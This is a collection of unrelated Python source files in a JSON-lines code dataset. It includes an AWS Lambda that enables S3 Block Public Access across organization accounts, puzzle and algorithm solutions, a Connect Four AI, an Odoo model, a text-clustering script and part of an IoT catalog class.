account_id: The account to set the public access block\n        params: solution parameters\n\n    Raises:\n        ValueError: Error setting account public access block\n    \"\"\"\n    try:\n        s3_client.put_public_access_block(\n            PublicAccessBlockConfiguration={\n                \"BlockPublicAcls\": params[\"ENABLE_BLOCK_PUBLIC_ACLS\"],\n                \"IgnorePublicAcls\": params[\"ENABLE_IGNORE_PUBLIC_ACLS\"],\n                \"BlockPublicPolicy\": params[\"ENABLE_BLOCK_PUBLIC_POLICY\"],\n                \"RestrictPublicBuckets\": params[\"ENABLE_RESTRICT_PUBLIC_BUCKETS\"],\n            },\n            AccountId=account_id,\n        )\n    except Exception as error:\n        LOGGER.error(f\"{error}\")\n        raise ValueError(f\"Error setting account public access block in {account_id}\") from None\n\n\ndef settings_changed(\n    s3_client: S3ControlClient,\n    aws_account: AccountTypeDef,\n    params: dict,\n) -> bool:\n    \"\"\"Account public access block settings changed.\n\n    Args:\n        s3_client: S3ControlClient\n        aws_account: The account to set the public access block\n        params: solution parameters\n\n    Returns:\n        True or False\n    \"\"\"\n    try:\n        response: GetPublicAccessBlockOutputTypeDef = s3_client.get_public_access_block(AccountId=aws_account[\"Id\"])\n\n        if (\n            response[\"PublicAccessBlockConfiguration\"][\"BlockPublicAcls\"] is params[\"ENABLE_BLOCK_PUBLIC_ACLS\"]\n            and response[\"PublicAccessBlockConfiguration\"][\"IgnorePublicAcls\"] is params[\"ENABLE_IGNORE_PUBLIC_ACLS\"]\n            and response[\"PublicAccessBlockConfiguration\"][\"BlockPublicPolicy\"] is params[\"ENABLE_BLOCK_PUBLIC_POLICY\"]\n            and response[\"PublicAccessBlockConfiguration\"][\"RestrictPublicBuckets\"] is params[\"ENABLE_RESTRICT_PUBLIC_BUCKETS\"]\n        ):\n            return False\n    except s3_client.exceptions.NoSuchPublicAccessBlockConfiguration:\n        LOGGER.warning(f\"Unable to get the public access block configuration from {aws_account['Id']}\")\n    return True\n\n\ndef process_put_account_public_access_block(\n    s3_client: S3ControlClient, aws_account: AccountTypeDef, params: dict\n) -> None:  # noqa: CFQ002 (max arguments)\n    \"\"\"Process put account public access block.\n\n    Args:\n        s3_client: S3ControlClient\n        aws_account: account to assume role in\n        params: solution parameters\n    \"\"\"\n    if settings_changed(s3_client, aws_account, params):\n        put_account_public_access_block(\n            s3_client,\n            aws_account[\"Id\"],\n            params,\n        )\n        LOGGER.info(f\"Enabled account S3 Block Public Access in {aws_account['Id']}\")\n\n\ndef publish_sns_message(message: dict, subject: str, sns_topic_arn: str) -> None:\n    \"\"\"Publish SNS Message.\n\n    Args:\n        message: SNS Message\n        subject: SNS Topic Subject\n        sns_topic_arn: SNS Topic ARN\n    \"\"\"\n    LOGGER.info(f\"Publishing SNS message for {message['AccountId']}.\")\n    LOGGER.info({\"SNSMessage\": message})\n    response: PublishResponseTypeDef = SNS_CLIENT.publish(Message=json.dumps(message), Subject=subject, TopicArn=sns_topic_arn)\n    api_call_details = {\"API_Call\": \"sns:Publish\", \"API_Response\": response}\n    LOGGER.info(api_call_details)\n\n\ndef publish_sns_message_batch(message_batch: list, sns_topic_arn: str) -> None:\n    \"\"\"Publish SNS Message Batches.\n\n    Args:\n        message_batch: Batch of SNS messages\n        sns_topic_arn: SNS Topic ARN\n    \"\"\"\n    LOGGER.info(\"Publishing SNS Message Batch\")\n    LOGGER.info({\"SNSMessageBatch\": message_batch})\n    response: PublishBatchResponseTypeDef = SNS_CLIENT.publish_batch(TopicArn=sns_topic_arn, PublishBatchRequestEntries=message_batch)\n    api_call_details = {\"API_Call\": \"sns:PublishBatch\", \"API_Response\": response}\n    LOGGER.info(api_call_details)\n\n\ndef process_sns_message_batches(sns_messages: list, sns_topic_arn: str) -> None:\n    \"\"\"Process SNS Message Batches for Publishing.\n\n    Args:\n        sns_messages: SNS messages to be batched.\n        sns_topic_arn: SNS Topic ARN\n    \"\"\"\n    message_batches = []\n    for i in range(SNS_PUBLISH_BATCH_MAX, len(sns_messages) + SNS_PUBLISH_BATCH_MAX, SNS_PUBLISH_BATCH_MAX):\n        message_batches.append(sns_messages[i - SNS_PUBLISH_BATCH_MAX : i])\n\n    for batch in message_batches:\n        publish_sns_message_batch(batch, sns_topic_arn)\n\n\ndef is_account_with_exclude_tags(aws_account: AccountTypeDef, params: dict) -> bool:\n    \"\"\"Validate if account has tags to be excluded.\n\n    Args:\n        aws_account: AWS account to update\n        params: solution parameters\n\n    Returns:\n        If account has exclude tags\n    \"\"\"\n    if params[\"EXCLUDE_ACCOUNT_TAGS\"]:\n        account_tags = get_organization_resource_tags(aws_account[\"Id\"])\n        for tag in params[\"EXCLUDE_ACCOUNT_TAGS\"]:\n            if tag in account_tags:\n                LOGGER.info(f\"Excluding account: {aws_account['Id']} ({aws_account['Name']}) matching tags: {tag}.\")\n                return True\n    return False\n\n\ndef local_testing(aws_account: AccountTypeDef, params: dict) -> None:\n    \"\"\"Local Testing.\n\n    Args:\n        aws_account: AWS account to update\n        params: solution parameters\n    \"\"\"\n    account_session = assume_role(params[\"CONFIGURATION_ROLE_NAME\"], params[\"ROLE_SESSION_NAME\"], aws_account[\"Id\"])\n    s3_client: S3ControlClient = account_session.client(\"s3control\", config=BOTO3_CONFIG)\n    process_put_account_public_access_block(s3_client, aws_account, params)\n\n\ndef process_accounts(event: Union[CloudFormationCustomResourceEvent, dict], params: dict) -> None:\n    \"\"\"Process Accounts and Create SNS Messages for each account for solution deployment.\n\n    Args:\n        event: event data\n        params: solution parameters\n    \"\"\"\n    sns_messages = []\n    accounts = get_active_organization_accounts()\n    for account in accounts:\n\n        if is_account_with_exclude_tags(account, params):\n            continue\n\n        if event.get(\"local_testing\") == \"true\" or event.get(\"ResourceProperties\", {}).get(\"local_testing\") == \"true\":  # type: ignore\n            local_testing(account, params)\n        else:\n            sns_message = {\"Action\": params[\"action\"], \"AccountId\": account[\"Id\"]}\n            sns_messages.append({\"Id\": account[\"Id\"], \"Message\": json.dumps(sns_message), \"Subject\": \"S3 Block Account Public Access\"})\n\n    process_sns_message_batches(sns_messages, params[\"SNS_TOPIC_ARN\"])\n\n\ndef process_account(event: dict, aws_account_id: str, params: dict) -> None:\n    \"\"\"Process Account and Create SNS Message for solution deployment.\n\n    Args:\n        event: event data\n        aws_account_id: AWS Account ID\n        params: solution parameters\n    \"\"\"\n    aws_account = get_account_info(account_id=aws_account_id)\n\n    if is_account_with_exclude_tags(aws_account, params):\n        return\n\n    if event.get(\"local_testing\") == \"true\":\n        local_testing(aws_account, params)\n    else:\n        sns_message = {\"Action\": \"Add\", \"AccountId\": aws_account[\"Id\"]}\n        publish_sns_message(sns_message, \"S3 Block Account Public Access\", params[\"SNS_TOPIC_ARN\"])\n\n\ndef process_event(event: dict) -> None:\n    \"\"\"Process Event.\n\n    Args:\n        event: event data\n    \"\"\"\n    event_info = {\"Event\": event}\n    LOGGER.info(event_info)\n    params = get_validated_parameters({})\n\n    process_accounts(event, params)\n\n\ndef process_event_sns(event: dict) -> None:\n    \"\"\"Process SNS event.\n\n    Args:\n        event: event data\n    \"\"\"\n    params = get_validated_parameters({})\n\n    for record in event[\"Records\"]:\n        record[\"Sns\"][\"Message\"] = json.loads(record[\"Sns\"][\"Message\"])\n        LOGGER.info({\"SNS Record\": record})\n        message = record[\"Sns\"][\"Message\"]\n        params[\"action\"] = message[\"Action\"]\n\n        aws_account = get_account_info(account_id=message[\"AccountId\"])\n        account_session = assume_role(params[\"CONFIGURATION_ROLE_NAME\"], params[\"ROLE_SESSION_NAME\"], aws_account[\"Id\"])\n        s3_client: S3ControlClient = account_session.client(\"s3control\", config=BOTO3_CONFIG)\n        process_put_account_public_access_block(s3_client, aws_account, params)\n\n\ndef process_event_organizations(event: dict) -> None:\n    \"\"\"Process Event from AWS Organizations.\n\n    Args:\n        event: event data\n    \"\"\"\n    event_info = {\"Event\": event}\n    LOGGER.info(event_info)\n    params = get_validated_parameters({})\n\n    if event[\"detail\"][\"eventName\"] == \"TagResource\" and params[\"EXCLUDE_ACCOUNT_TAGS\"]:\n        aws_account_id = event[\"detail\"][\"requestParameters\"][\"resourceId\"]\n        process_account(event, aws_account_id, params)\n    elif event[\"detail\"][\"eventName\"] == \"AcceptHandShake\" and event[\"responseElements\"][\"handshake\"][\"state\"] == \"ACCEPTED\":\n        for party in event[\"responseElements\"][\"handshake\"][\"parties\"]:\n            if party[\"type\"] == \"ACCOUNT\":\n                aws_account_id = party[\"id\"]\n                process_account(event, aws_account_id, params)\n                break\n    elif event[\"detail\"][\"eventName\"] == \"CreateAccountResult\":\n        aws_account_id = event[\"detail\"][\"serviceEventDetails\"][\"createAccountStatus\"][\"accountId\"]\n        process_account(event, aws_account_id, params)\n    else:\n        LOGGER.info(\"Organization event does not match expected values.\")\n\n\ndef process_event_lifecycle(event: dict) -> None:\n    \"\"\"Process Lifecycle Event from AWS Control Tower.\n\n    Args:\n        event: event data\n\n    Raises:\n        ValueError: Control Tower Lifecycle Event not 'createManagedAccountStatus' or 'updateManagedAccountStatus'\n    \"\"\"\n    event_info = {\"Event\": event}\n    LOGGER.info(event_info)\n    params = get_validated_parameters({})\n\n    aws_account_id = \"\"\n    if event[\"detail\"][\"serviceEventDetails\"].get(\"createManagedAccountStatus\"):\n        aws_account_id = event[\"detail\"][\"serviceEventDetails\"][\"createManagedAccountStatus\"][\"account\"][\"accountId\"]\n    elif event[\"detail\"][\"serviceEventDetails\"].get(\"updateManagedAccountStatus\"):\n        aws_account_id = event[\"detail\"][\"serviceEventDetails\"][\"updateManagedAccountStatus\"][\"account\"][\"accountId\"]\n    else:\n        raise ValueError(\"Control Tower Lifecycle Event not 'createManagedAccountStatus' or 'updateManagedAccountStatus'\")\n\n    process_account(event, aws_account_id, params)\n\n\n@helper.create\n@helper.update\n@helper.delete\ndef process_event_cloudformation(event: CloudFormationCustomResourceEvent, context: Context) -> str:  # noqa: U100\n    \"\"\"Process Event from AWS CloudFormation.\n\n    Args:\n        event: event data\n        context: runtime information\n\n    Returns:\n        AWS CloudFormation physical resource id\n    \"\"\"\n    event_info = {\"Event\": event}\n    LOGGER.info(event_info)\n\n    if event[\"RequestType\"] in [\"Create\", \"Update\"]:\n        params = get_validated_parameters({\"RequestType\": event[\"RequestType\"]})\n        process_accounts(event, params)\n    else:\n        LOGGER.info(\"No changes were made to S3 Block Account Public Access Configuration.\")\n\n    return \"S3-BLOCK-ACCOUNT-PUBLIC-ACCESS\"\n\n\ndef parameter_tags_validator(parameter_name: str, parameter_value: Optional[str]) -> dict:  # noqa: CCR001\n    \"\"\"Validate Resource Tags in CloudFormation Custom Resource Properties and/or Lambda Function Environment Variables.\n\n    Args:\n        parameter_name: CloudFormation custom resource parameter name and/or Lambda function environment variable name\n        parameter_value: CloudFormation custom resource parameter value and/or Lambda function environment variable value\n\n    Raises:\n        ValueError: Parameter not in JSON format\n        ValueError: Parameter invalid Tag Keys and/or Tag Values\n\n    Returns:\n        Validated Tags Parameter in JSON format\n    \"\"\"\n    tag_key_pattern = r\"^(?![aA][wW][sS]:).{1,128}$\"\n    tag_value_pattern = r\"^.{0,256}$\"\n\n    invalid_tag_keys = []\n    invalid_tag_values = []\n    format_message = f'\"{parameter_name}\" not in JSON format: [{{\"Key\": \"string\", \"Value\": \"string\"}}]'\n    try:\n        tags_json = json.loads(str(parameter_value))\n    except Exception:\n        raise ValueError(format_message) from None\n\n    for tag in tags_json:\n        if not tag.get(\"Key\") or \"Value\" not in tag:\n            raise ValueError(format_message)\n        if not re.match(tag_key_pattern, tag[\"Key\"]):\n            invalid_tag_keys.append(tag[\"Key\"])\n        if not re.match(tag_value_pattern, tag[\"Value\"]):\n            invalid_tag_values.append(tag[\"Value\"])\n\n        if invalid_tag_keys or invalid_tag_values:\n            message = f\"In '{parameter_name}' parameter, Invalid Tag Keys: {invalid_tag_keys}, Invalid Tag Values: {invalid_tag_values} entered.\"\n            raise ValueError(message)\n\n    return {parameter_name: tags_json}\n\n\ndef parameter_pattern_validator(parameter_name: str, parameter_value: Optional[str], pattern: str, is_optional: bool = False) -> dict:\n    \"\"\"Validate CloudFormation Custom Resource Properties and/or Lambda Function Environment Variables.\n\n    Args:\n        parameter_name: CloudFormation custom resource parameter name and/or Lambda function environment variable name\n        parameter_value: CloudFormation custom resource parameter value and/or Lambda function environment variable value\n        pattern: REGEX pattern to validate against.\n        is_optional: Allow empty or missing value when True\n\n    Raises:\n        ValueError: Parameter has a value of empty string.\n        ValueError: Parameter is missing\n        ValueError: Parameter does not follow the allowed pattern\n\n    Returns:\n        Validated Parameter\n    \"\"\"\n    if parameter_value == \"\" and not is_optional:\n        raise ValueError(f\"'{parameter_name}' parameter has a value of empty string.\")\n    elif not parameter_value and not is_optional:\n        raise ValueError(f\"'{parameter_name}' parameter is missing.\")\n    elif pattern == \"tags_json\" and parameter_value:\n        return parameter_tags_validator(parameter_name, parameter_value)\n    elif pattern == \"tags_json\":\n        return {parameter_name: parameter_value}\n    elif not re.match(pattern, str(parameter_value)):\n        raise ValueError(f\"'{parameter_name}' parameter with value of '{parameter_value}'\" + f\" does not follow the allowed pattern: {pattern}.\")\n    return {parameter_name: parameter_value}\n\n\ndef get_validated_parameters(event: dict) -> dict:\n    \"\"\"Validate AWS CloudFormation parameters and/or Lambda Function Environment Variables.\n\n    Args:\n        event: event data\n\n    Returns:\n        Validated parameters\n    \"\"\"\n    params: dict = {}\n    cfn_params = event.get(\"ResourceProperties\", {}).copy()  # noqa: F841 # NOSONAR\n    actions = {\"Create\": \"Add\", \"Update\": \"Update\", \"Delete\": \"Remove\"}\n    params[\"action\"] = actions[event.get(\"RequestType\", \"Create\")]\n\n    sns_topic_pattern = r\"^arn:(aws[a-zA-Z-]*){1}:sns:[a-z0-9-]+:\\d{12}:[0-9a-zA-Z]+([0-9a-zA-Z-]*[0-9a-zA-Z])*$\"\n    true_false_pattern = r\"^true|false$\"\n\n    # Required Parameters\n    params.update(parameter_pattern_validator(\"CONFIGURATION_ROLE_NAME\", os.environ.get(\"CONFIGURATION_ROLE_NAME\"), pattern=r\"^[\\w+=,.@-]{1,64}$\"))\n    params.update(parameter_pattern_validator(\"ENABLE_BLOCK_PUBLIC_ACLS\", os.environ.get(\"ENABLE_BLOCK_PUBLIC_ACLS\"), pattern=true_false_pattern))\n    params.update(parameter_pattern_validator(\"ENABLE_IGNORE_PUBLIC_ACLS\", os.environ.get(\"ENABLE_IGNORE_PUBLIC_ACLS\"), pattern=true_false_pattern))\n    params.update(parameter_pattern_validator(\"ENABLE_BLOCK_PUBLIC_POLICY\", os.environ.get(\"ENABLE_BLOCK_PUBLIC_POLICY\"), pattern=true_false_pattern))\n    params.update(\n        parameter_pattern_validator(\"ENABLE_RESTRICT_PUBLIC_BUCKETS\", os.environ.get(\"ENABLE_RESTRICT_PUBLIC_BUCKETS\"), pattern=true_false_pattern)\n    )\n    params.update(parameter_pattern_validator(\"ROLE_SESSION_NAME\", os.environ.get(\"ROLE_SESSION_NAME\"), pattern=r\"^[\\w=,@.-]+$\"))\n    params.update(parameter_pattern_validator(\"SNS_TOPIC_ARN\", os.environ.get(\"SNS_TOPIC_ARN\"), pattern=sns_topic_pattern))\n\n    # Optional Parameters\n    params.update(parameter_pattern_validator(\"EXCLUDE_ACCOUNT_TAGS\", os.environ.get(\"EXCLUDE_ACCOUNT_TAGS\"), pattern=\"tags_json\", is_optional=True))\n\n    # Convert true/false string parameters to boolean\n    params.update({\"ENABLE_BLOCK_PUBLIC_ACLS\": (params[\"ENABLE_BLOCK_PUBLIC_ACLS\"] == \"true\")})\n    params.update({\"ENABLE_IGNORE_PUBLIC_ACLS\": (params[\"ENABLE_IGNORE_PUBLIC_ACLS\"] == \"true\")})\n    params.update({\"ENABLE_BLOCK_PUBLIC_POLICY\": (params[\"ENABLE_BLOCK_PUBLIC_POLICY\"] == \"true\")})\n    params.update({\"ENABLE_RESTRICT_PUBLIC_BUCKETS\": (params[\"ENABLE_RESTRICT_PUBLIC_BUCKETS\"] == \"true\")})\n\n    return params\n\n\ndef orchestrator(event: dict, context: Any) -> None:\n    \"\"\"Orchestration of Events.\n\n    Args:\n        event: event data\n        context: runtime information\n    \"\"\"\n    if event.get(\"RequestType\"):\n        helper(event, context)\n    elif event.get(\"source\") == \"aws.controltower\":\n        process_event_lifecycle(event)\n    elif event.get(\"source\") == \"aws.organizations\":\n        process_event_organizations(event)\n    elif event.get(\"Records\") and event[\"Records\"][0][\"EventSource\"] == \"aws:sns\":\n        process_event_sns(event)\n    else:\n        process_event(event)\n\n\ndef lambda_handler(event: dict, context: Any) -> None:\n    \"\"\"Lambda Handler.\n\n    Args:\n        event: event data\n        context: runtime information\n\n    Raises:\n        ValueError: Unexpected error executing Lambda function\n    \"\"\"\n    LOGGER.info(\"....Lambda Handler Started....\")\n    try:\n        event_info = {\"Event\": event}\n        LOGGER.info(event_info)\n        orchestrator(event, context)\n    except Exception:\n        LOGGER.exception(UNEXPECTED)\n        raise ValueError(f\"Unexpected error executing Lambda function. Review CloudWatch logs '{context.log_group_name}' for details.\") from None\n","repo_name":"aws-samples/aws-security-reference-architecture-examples","sub_path":"aws_sra_examples/solutions/s3/s3_block_account_public_access/lambda/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":22477,"program_lang":"python","lang":"en","doc_type":"code","stars":834,"dataset":"github-code","pt":"47"}
+{"seq_id":"2697586953","text":"import copy\nimport itertools\nimport math\nimport typing\n\n\nclass Stats(typing.NamedTuple):\n    hp: int\n    damage: int\n    armor: int\n\n\nclass Item(typing.NamedTuple):\n    cost: int = 0\n    damage: int = 0\n    armor: int = 0\n\n\nSHOP_INVENTORY = {\n    'Weapons': {\n        'Dagger': Item(cost=8, damage=4),\n        'Shortsword': Item(cost=10, damage=5),\n        'Warhammer': Item(cost=25, damage=6),\n        'Longsword': Item(cost=40, damage=7),\n        'Greataxe': Item(cost=74, damage=8),\n    },\n    'Armor': {\n        'No': Item(),\n        'Leather': Item(cost=13, armor=1),\n        'Chainmail': Item(cost=31, armor=2),\n        'Splintmail': Item(cost=53, armor=3),\n        'Bandedmail': Item(cost=75, armor=4),\n        'Platemail': Item(cost=102, armor=5),\n    },\n    'Rings': {\n        'No': Item(),\n        'Damage +1': Item(cost=25, damage=1),\n        'Damage +2': Item(cost=50, damage=2),\n        'Damage +3': Item(cost=100, damage=3),\n        'Defense +1': Item(cost=20, armor=1),\n        'Defense +2': Item(cost=40, armor=2),\n        'Defense +3': Item(cost=80, armor=3),\n    }\n}\n\n\nclass Shop:\n    inventory: dict\n\n    def __init__(self, inventory):\n        self.inventory = copy.deepcopy(inventory)\n\n    def buy_next(self) -> (set, int):\n        item_sets = itertools.product(\n            self.inventory['Weapons'].values(),\n            self.inventory['Armor'].values(),\n            self.inventory['Rings'].values(),\n            self.inventory['Rings'].values()\n        )\n        for item_set in item_sets:\n            if item_set[2] == item_set[3] and not item_set[2] == Item():\n                continue\n            yield set(item_set), sum(i.cost for i in item_set)\n\n\ndef calculate_player_stats(items: set) -> Stats:\n    return Stats(\n        damage=sum(i.damage for i in items),\n        armor=sum(i.armor for i in items),\n        hp=100)\n\n\ndef fight(player: Stats, boss: Stats) -> bool:\n    \"\"\" Returns `True` when player wins, `False` otherwise. \"\"\"\n    player_damage = max(1, player.damage - boss.armor)\n    boss_damage = max(1, boss.damage - player.armor)\n    rounds_to_boss_death = math.ceil(boss.hp / player_damage)\n    rounds_to_player_death = math.ceil(player.hp / boss_damage)\n    return rounds_to_boss_death <= rounds_to_player_death\n\n\ndef solve(boss_stats: Stats) -> (int, int):\n    least_amount = 999\n    most_amount = 0\n    shop = Shop(SHOP_INVENTORY)\n    for items, cost in shop.buy_next():\n        player_stats = calculate_player_stats(items)\n        win = fight(player_stats, boss_stats)\n        if win:\n            least_amount = min(least_amount, cost)\n        else:\n            most_amount = max(most_amount, cost)\n    return least_amount, most_amount\n\n\ndef main(filename: str) -> (int, int):\n    with open(filename, 'r') as fp:\n        lines = fp.read().splitlines()\n    boss_stats = Stats(\n        hp=int(lines[0].split(':')[1]),\n        damage=int(lines[1].split(':')[1]),\n        armor=int(lines[2].split(':')[1]),\n    )\n    return solve(boss_stats)\n\n\nif __name__ == '__main__':\n    solution_1, solution_2 = main('../input.txt')\n    print(solution_1)\n    print(solution_2)\n","repo_name":"oeick/advent-of-code","sub_path":"2015/21/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"14361577678","text":"# Hu Xuan 8/10/2022\n# xuanh@bu.edu\n# Problem Set 11, Problem 4\n# ps11pr4.py\n# An AI Player\n\nimport random\nfrom ps10pr3 import *  # to use the connect_four and process_move functions\n\n\nclass AIPlayer(Player):\n    def __init__(self, checker, tiebreak, lookahead):\n        \"\"\" In addition to the attributes inherited from Player, an AIPlayer\n        object should include two new attributes\n        \"\"\"\n        assert (checker == 'X' or checker == 'O')\n        assert (tiebreak == 'LEFT' or tiebreak == 'RIGHT' or tiebreak == 'RANDOM')\n        assert (lookahead >= 0)\n        Player.__init__(self, checker)\n        self.tiebreak = tiebreak\n        self.lookahead = lookahead\n\n    def __repr__(self):\n        \"\"\" returns a string representing an AIPlayer object.\n        \"\"\"\n        return 'Player ' + self.checker + ' (' + self.tiebreak + ', ' + str(self.lookahead) + ')'\n\n    def max_score_column(self, scores):\n        \"\"\" takes a list scores containing a score for each column of the board,\n        and that returns the index of the column with the maximum score.\n        \"\"\"\n        max_lst = []\n        for i in range(len(scores)):\n            if scores[i] == max(scores):\n                max_lst += [i]\n\n        if self.tiebreak == 'LEFT':\n            return max_lst[0]\n        elif self.tiebreak == 'RIGHT':\n            return max_lst[-1]\n        else:\n            return random.choice(max_lst)\n\n    def scores_for(self, board):\n        \"\"\" takes a Board object board and determines the called\n        AIPlayer‘s scores for the columns in board.\n        \"\"\"\n        scores = [50] * board.width\n        for i in range(board.width):\n            if not board.can_add_to(i):\n                scores[i] = -1\n            elif board.is_win_for(self.checker):\n                scores[i] = 100\n            elif board.is_win_for(self.opponent_checker()):\n                scores[i] = 0\n            elif self.lookahead == 0:\n                scores[i] = 50\n            else:\n                board.add_checker(self.checker, i)\n                opponent = AIPlayer(self.opponent_checker(), self.tiebreak, self.lookahead - 1)\n                opp_scores = opponent.scores_for(board)\n                scores[i] = 100 - max(opp_scores)\n                board.remove_checker(i)\n        return scores\n\n    def next_move(self, board):\n        \"\"\" Rather than asking the user for the next move, this version of next_move\n        should return the called AIPlayer‘s judgment of its best possible move.\n        \"\"\"\n        self.num_moves += 1\n        return self.max_score_column(self.scores_for(board))\n","repo_name":"LLLn-J/CS111","sub_path":"Problem Set 11/ps11pr4.py","file_name":"ps11pr4.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
+{"seq_id":"71363987024","text":"from odoo import api, fields, models, _\n\n\nclass asset_asset(models.Model):\n    _inherit = 'asset.asset'\n\n    meter_ids = fields.One2many('mro.pm.meter', 'asset_id', 'Meter')\n\n    def action_view_rules(self):\n        category_ids = []\n        for asset in self:\n            category_ids = category_ids + [category.id for category in asset.category_ids]\n        return {\n            'domain': \"[('category_id','in',[\" + ','.join(map(str, category_ids)) + \"])]\",\n            'name': _('Scheduling Rules'),\n            'view_type': 'form',\n            'view_mode': 'tree,form',\n            'res_model': 'mro.pm.rule',\n            'type': 'ir.actions.act_window',\n            'target': 'current',\n        }\n","repo_name":"codup/odoo-eam","sub_path":"mro_pm/asset.py","file_name":"asset.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":88,"dataset":"github-code","pt":"47"}
+{"seq_id":"26347136218","text":"f = open('inp', 'r')\nf2 = open('log', 'w')\nmp = {}\nfor s in f.readlines():\n\tfor c in s:\n\t\tif c == '\\n':\n\t\t\tbreak\n\t\tif c in mp:\n\t\t\tmp[c] += 1\n\t\telse:\n\t\t\tmp[c] = 1\nans = '.', 1000000000\nfor x, y in mp.items():\n\tf2.write(str((x, y)))\n\tif y < ans[1]:\n\t\tans = x, y\nprint(ans)\n","repo_name":"csimstu/OI","sub_path":"pythonChallenge/2/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
+{"seq_id":"39825386597","text":"import collections\n# brute force\ndef lenLongestFibSubseq(A):\n    n = len(A)\n    ans = 0\n    S = set(A)\n    for i in range(0, n):\n        for j in range(i+1, n):\n            # note, x is not A[0] but A[1]\n            x, y = A[j], A[i] + A[j]\n            l = 0\n            while y in S:\n                l+=1\n                x, y = y, x + y\n            ans = max(ans, l)\n\n    return 0 if n<3 else ans\n\nimport collections\n# this is my own implementation to memorize it\ndef lenLongestFibSubseqDp1(A):\n    # dict where keys are values.\n    val_index_dict = {val: i for i, val in enumerate(A)}\n    # storage for length\n    pair_dict = collections.defaultdict(lambda : 2)\n    ans = 0\n    # i, j, k\n    # this is what actually happens\n    # since A[i] + A[j] = A[k], hence A[k] - A[j] = A[i]\n    for k, val in enumerate(A):\n        for j in range(k):\n            i = val_index_dict.get(val - A[j])\n            if i is not None and i < j:\n                pair_dict[j, k] = pair_dict[i, j] + 1\n                ans = max(pair_dict[j, k], ans)\n    return ans if ans>=3 else 0\n\n\nif __name__ == \"__main__\":\n    lenLongestFibSubseqDp1([1,2,3,4,5,6,7,8])\n    lenLongestFibSubseq([1,2,3,4,5,6,7,8])\n","repo_name":"arsamigullin/problem_solving_python","sub_path":"leet/dp/Longest_Increasing_Subsequence/longest_fibonnacci_subsequence.py","file_name":"longest_fibonnacci_subsequence.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"4935179995","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\nimport pandas as pd\nimport jieba\nimport jieba.analyse\nfrom sklearn.feature_extraction.text import CountVectorizer  \nfrom sklearn.feature_extraction.text import TfidfTransformer  \nfrom sklearn.cluster import KMeans\n\n#Data processing(remove the other column)\ndf = pd.read_excel('C:\\\\dataset.xlsx')\ndf = pd.DataFrame(df)\ndf = df[\"postContent\"]\n\n#斷字結果置放陣列\ntotal=[]\n\n#fetch the data and transfer to DF、List\nfor i in df.index:\n    tags = jieba.analyse.extract_tags(str(df.iloc[i]), topK=10)\n    #tags = jieba.cut(str(df.iloc[i]), cut_all=False)\n    content = \" \".join(tags)\n    total.append(content)\n#print(total)\n    #tags = jieba.cut(str(df.iloc[i]), cut_all=False)\n    #print(\"Split \"+ str(i) + \" \".join(tags))\n\n#TF IDF Setting\nvectorizer=CountVectorizer()\ntransformer=TfidfTransformer()\n#the related label\nX = vectorizer.fit_transform(total)\n#caculate weight\ntfidf=transformer.fit_transform(X)\n\nword=vectorizer.get_feature_names()\n#transfer to array\nfeature=X.toarray()\nweight=tfidf.toarray()\n#print(word)\n#print(feature)\n\nkmeans = KMeans(n_clusters=20, random_state=0).fit(feature)\n\nregister = kmeans.labels_\nresults = pd.DataFrame(register)\n\nresults_list = register.tolist()\n\ncluster_num = range(20)\nprint(kmeans.labels_)\n#print(kmeans.cluster_centers_)\n#print(kmeans.inertia_)\ntotal_cluster = []\nfor i in cluster_num: #1~20群\n    sum1 = 0\n    cluster = []\n    for j in results_list: #\n        sum1 = sum1 + 1\n        if i == j:\n            cluster.append(sum1)\n    print(\"第\"+str(i+1)+\"群:\"+\"\".join(str(cluster)))\n    #total_cluster.append(cluster)\n#print(total_cluster)\n\n\n","repo_name":"HYLin0524/Python_Data-Mining","sub_path":"HW4_TextMining.py","file_name":"HW4_TextMining.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"39710929719","text":"# import threading\r\nimport time\r\nimport json\r\n\r\n# CATALOG. It implements a catalog with the following entries:\r\n# broker_IP, broker_port, terraria, temperature controls (temp_controls), light_controls, users\r\n# the catalog is initalized by reading the first version of the catalog json file\r\n# each access to the json file is protected against multi-threading by a Lock\r\n# a thread is automatically activated to delete devices (terraria and controls) which are not updated for more than 30 minutes,\r\n# to prevent requests to wrong IP\r\n# terraria are identified by: ID, password, IP, port, GET, POST, sub_topics, pub_topics, resources, user (ID of the associated user, None if not already associated), insert-timestamp\r\n# temperature controls are identified by: ID, IP, port, GET, POST, sub_topics, pub_topics, temp, terrarium (ID of the associated terrarium), insert-timestamp\r\n# light controls are identified by: ID, IP, port, GET, POST, sub_topics, pub_topics, dawn, dusk, terrarium (ID of the associated terrarium), insert-timestamp\r\n# users are identified by a nickname (the one on Telegram) and by the chat_id to send messages on Telegram.\r\n\r\nclass Catalog:\r\n\r\n    def __init__(self, filename):\r\n\r\n        self.filename = filename\r\n\r\n        # self.threadLock = threading.Lock()\r\n        #\r\n        # self.deletingThread = DeleteDevice(self)\r\n        # self.deletingThread.start()\r\n\r\n    def get_broker(self):\r\n        '''Returns IP and port of the broker'''\r\n\r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        json_file = file.read()\r\n        dict = json.loads(json_file)\r\n        file.close()\r\n\r\n        # self.threadLock.release()\r\n\r\n        return dict['broker_IP'], dict['broker_port']\r\n\r\n\r\n    def get_users(self):\r\n        '''Returns ID_user and nickname of each user'''\r\n\r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        json_file = file.read()\r\n        dict = json.loads(json_file)\r\n        file.close()\r\n\r\n        # self.threadLock.release()\r\n        return json.dumps(dict['users'])\r\n\r\n    def get_user(self, ID_user):\r\n        '''Returns information about 